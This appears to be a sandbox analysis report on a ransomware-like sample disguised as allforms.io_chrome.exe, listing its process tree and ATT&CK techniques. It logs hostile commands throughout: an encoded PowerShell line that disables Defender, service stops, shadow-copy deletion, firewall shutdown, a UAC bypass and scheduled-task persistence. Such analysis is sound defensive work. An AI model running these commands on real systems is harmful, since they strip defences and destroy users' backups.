PID 4348 wrote to memory of 360	4348	allforms.io_chrome.exe	146
PID 4348 wrote to memory of 3900	4348	allforms.io_chrome.exe	147
PID 4348 wrote to memory of 3292	4348	allforms.io_chrome.exe	148
PID 4348 wrote to memory of 3224	4348	allforms.io_chrome.exe	156
PID 4348 wrote to memory of 2388	4348	allforms.io_chrome.exe	157
PID 4348 wrote to memory of 1744	4348	allforms.io_chrome.exe	158
PID 4348 wrote to memory of 6064	4348	allforms.io_chrome.exe	159
PID 4348 wrote to memory of 4840	4348	allforms.io_chrome.exe	160
PID 4348 wrote to memory of 2348	4348	allforms.io_chrome.exe	161
PID 4348 wrote to memory of 4184	4348	allforms.io_chrome.exe	162
PID 6064 wrote to memory of 4400	6064	net.exe	169
PID 348 wrote to memory of 2380	348	cmd.exe	170
PID 3420 wrote to memory of 4868	3420	cmd.exe	171
PID 360 wrote to memory of 4168	360	cmd.exe	172
PID 2380 wrote to memory of 3580	2380	net.exe	173
PID 3432 wrote to memory of 2828	3432	cmd.exe	201
PID 3900 wrote to memory of 2732	3900	cmd.exe	186
PID 4992 wrote to memory of 5128	4992	cmd.exe	176
PID 5664 wrote to memory of 4460	5664	cmd.exe	177
PID 5664 wrote to memory of 2884	5664	cmd.exe	179
PID 1848 wrote to memory of 4304	1848	chrome.exe	180
PID 1848 wrote to memory of 324	1848	chrome.exe	181
PID 1848 wrote to memory of 324	1848	chrome.exe	181
PID 1848 wrote to memory of 4108	1848	chrome.exe	182
PID 1848 wrote to memory of 4108	1848	chrome.exe	182
PID 1848 wrote to memory of 2152	1848	chrome.exe	199
PID 1848 wrote to memory of 2152	1848	chrome.exe	199

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" https://allforms.io/
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff90f77c728,0x7ff90f77c734,0x7ff90f77c740
    3⤵
    PID:248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,5844062455251963060,10239235494420192318,262144 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=1888 /prefetch:2
    3⤵
    PID:3228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1376,i,14264999564239319926,8823092679443647544,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2148,i,14798995146993432277,12518056581740235593,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=3056 /prefetch:13
    3⤵
    PID:3456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2996,i,1157993849101989906,2037717462977746467,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=3196 /prefetch:1
    3⤵
    PID:2980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3000,i,139098545182277908,11835424782339692593,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:1
    3⤵
    PID:2188
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4668,i,16640225773801602626,7262077145492612266,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:14
    3⤵
    PID:3432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5404,i,6654239005887180090,1220976535489152074,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:14
    3⤵
    PID:4304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5496,i,450951244926938518,8870450924205163518,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:1
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5484,i,16845910971479690343,8965118321232720704,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
    3⤵
    PID:4108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5556,i,5262802594571307961,11005340663333086703,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:1
    3⤵
    PID:2152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5996,i,8293996969691748346,3115122126679745962,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:1
    3⤵
    PID:2732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5812,i,7581047819266754210,13211898213666142931,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:1
    3⤵
    PID:1980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5684,i,8030486144739034434,8086092542690777858,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:14
    3⤵
    PID:4316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5676,i,11581582346465586560,7182301973019976057,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:1
    3⤵
    PID:4220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5852,i,10674452038690127567,6097432612523597860,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:1
    3⤵
    PID:3440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6036,i,13001324702616424213,8485444905249774560,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:14
    3⤵
    PID:3048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5860,i,15186541623173311850,624096694657858483,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:14
    3⤵
    PID:4080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5528,i,8710319472171612903,16650345172461955566,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:1
    3⤵
    PID:5040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5940,i,13962433008880845720,5000443326079446993,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:1
    3⤵
    PID:4156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4848,i,12699716490627065359,17065252815917442118,2097152 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:9
    3⤵
    PID:432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6108,i,6335950055261923136,2230007622505153692,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:14
    3⤵
    PID:3004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5880,i,16277775740424991692,16718431590902100043,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:14
    3⤵
    PID:3252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5328,i,858462010757905712,6393766084902789926,524288 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:14
    3⤵
    PID:2152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6268,i,13203539048803605859,15161532275954144864,262144 --field-trial-handle=1892,i,12686787973891108933,3922205257868975409,262144 --variations-seed-version --mojo-platform-channel-handle=6244 /prefetch:10
    3⤵
    PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:256
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2508
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1060
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3004
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4604
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2348
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2660
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5664
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5188
- - C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe"
    3⤵
    PID:3628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5640
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5452
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3576
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5384
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4844
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4224
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2700
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4460
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2884
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4868
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2828
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:348
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:360
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4168
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2732
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3292
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3224
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2388
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1744
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4400
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4840
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2348
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4184

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1520

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4420

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5452

C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe
1⤵
PID:2784

C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\allforms.io_chrome.exe
1⤵
PID:4280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4892

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery